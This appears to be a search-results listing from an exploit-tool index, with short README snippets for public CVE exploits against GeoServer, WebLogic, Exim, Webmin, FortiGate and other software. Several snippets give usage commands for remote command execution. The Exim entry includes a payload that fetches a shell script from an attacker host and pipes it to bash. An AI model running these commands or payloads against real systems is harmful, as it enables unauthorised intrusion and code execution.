1308626 matches found
geoserver-
geoserver CVE-2024-36401 漏洞利用工具 geoserver CVE-2024-36401 环境:JDK8 声明:仅用于授权测试,用户滥用造成的一切后果和作者无关 请遵守法律法规! 1,默认payload: POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip,...
spring-projects__spring-framework_CVE-2022-22965_5-2-19-RELEASE
Spring Framework Este es el hogar de Spring Framework: la base de todos los proyectos Spring. De forma colectiva, Spring Framework y la familia de proyectos Spring se conocen a menudo simplemente como "Spring". Spring proporciona todo lo necesario, más allá del lenguaje de programación Java, para...
GitHarvest3r
Simple CVE exploit gathering tool written in python. Installation root@kitploit: git clone https://github.com/34zY/GitHarvest3r cd GitHarvest3r/ pip install -r requirements.txt Setup API Key 1. Get your Free Github API Key = 2. Set it in TOKEN variable ; GitHarvest3r.py Usage root@kitploit: pytho...
CVE-2020-14882_ALL
CVE-2020-14882ALL CVE-2020-14882ALL综合利用工具,支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能。 需要模块:requests、http.client (工具仅用于授权的安全测试,请勿用于非法使用,违规行为与作者无关。) 命令回显模块已知成功版本:12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 选项 功能一:命令回显 python3 CVE-2020-14882ALL.py -u http://1.1.1.1:7001 -c "net user" python3 CVE-2020-14882ALL.py -u...
Shodan-CVE-2024-4577
此存储库没有 README。...
gotigate
gotigate 利用 CVE-2022-40684 安装 root@kitploit: ▶ go install github.com/gustavorobertux/gotigate@latest 基本用法 root@kitploit: ▶ gotigate TARGET IP or youraddress.com "height":1, "interface":"", "csf-device":"", "table-visualization":"", "device-list-online":"", "device-list-telemetry":"",...
Cve-2024-32002-poc
CVE-2024-32002 PoC de RCE Resumen Este repositorio contiene una Prueba de Concepto PoC para CVE-2024-32002, una vulnerabilidad de Ejecución Remota de Código RCE en submódulos de Git. El exploit demuestra cómo una carga maliciosa puede ser desencadenada mediante un clon recursivo de un repositorio...
Exim-CVE-2019-10149
Exim-CVE-2019-10149 漏洞 CVE-2019-10149 的利用 PoC 使用示例 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...
CVE-2016-8655
CVE-2016-8655...
Caboom
Caboom root@kitploit: ██████╗ █████╗ ██████╗ ██████╗ ██████╗ ███╗ ███╗ ██╗ ██╔════╝██╔══██╗██╔══██╗██╔═══██╗██╔═══██╗████╗ ████║ ██║ ██║ ███████║██████╔╝██║ ██║██║ ██║██╔████╔██║ ██║ ██║ ██╔══██║██╔══██╗██║ ██║██║ ██║██║╚██╔╝██║ ╚═╝ ╚██████╗██║ ██║██████╔╝╚██████╔╝╚██████╔╝██║ ╚═╝ ██║ ██╗...
XSHOCK
⚡ xShock ShellShock ⚡ Written by TMRSWRR Version 1.0.0 xShock ShellShock CVE-2014-6271 This tool exploits shellshock. Instagram: TMRSWRR 🖼️ Screenshots 🖼️ 📹 How to use 📹 Click on the image... 📒 Read Me 📒 All founded directories will be saved in vulnurl.txt file. The results of the executed commands...
CVE-2019-15107-Exploit
CVE-2019-15107 Exploit en Python Este exploit es para CVE-2019-15107 Webmin 1.890-1.920 RCE sin autenticación implementado en Python. Uso root@kitploit: python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...
CVE-2024-38063-Exploit-Refactoring
Exploit CVE-2024-38063 Herramienta de explotación avanzada con manejo de errores de precisión y ejecución conforme a DO-176C. Resumen Esta es una herramienta especializada de evaluación de seguridad para probar la mitigación de vulnerabilidades IPv6 de Windows en sistemas objetivo. Incluye...
pandorafms_7.44
Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE permite a un usuario autenticado lograr la ejecución remota de comandos a través de la funcionalidad de eventos. Se puede realizar con credenciales o una cookie de sesión PHP. Comenzando Ejecutando el programa Usando credenciales...
CVE-2020-8835
CVE-2020-8835...
CVE-2022-36804
CVE-2022-36804 RCE en Bitbucket 2022 Este repositorio es parte de hgrab-framework dork title: "Public Repositories - Bitbucket" Productos afectados root@kitploit: - Bitbucket Server y Data Center 7.6 anteriores a 7.6.17 - Bitbucket Server y Data Center 7.17 anteriores a 7.17.10 - Bitbucket Server...
CVE-2020-9548
CVE-2020-9548:FasterXML/jackson-databind 远程代码执行漏洞...
trivy-action
Trivy Action GitHub Action for Trivy Table of Contents Usage Scan CI Pipeline Scan CI Pipeline w/ Trivy Config Cache Trivy Setup Scanning a Tarball Using Trivy with templates Using Trivy with GitHub Code Scanning...
opgp-service-cve-2019-9153
CVE-2019-9153 漏洞 基于 BSI 的设置复现 PoC 调查 opgp-service API 对此类攻击的脆弱性 使用以下命令运行测试: root@kitploit: npm test 结论: opgp-service 默认配置了 AEADprotect=true,这可以防御 CVE-2019-9153 中描述的数字签名绕过攻击。 许可证:MIT 版权所有 2019 Stéphane M. Catala...
apache__rocketmq_CVE-2019-17572_4-6-0
Apache RocketMQ Apache RocketMQ es una plataforma distribuida de mensajería y streaming con baja latencia, alto rendimiento y fiabilidad, capacidad de nivel de billones y escalabilidad flexible. Ofrece una variedad de funciones: Modelo de mensajería Pub/Sub Mensajería transaccional de grado...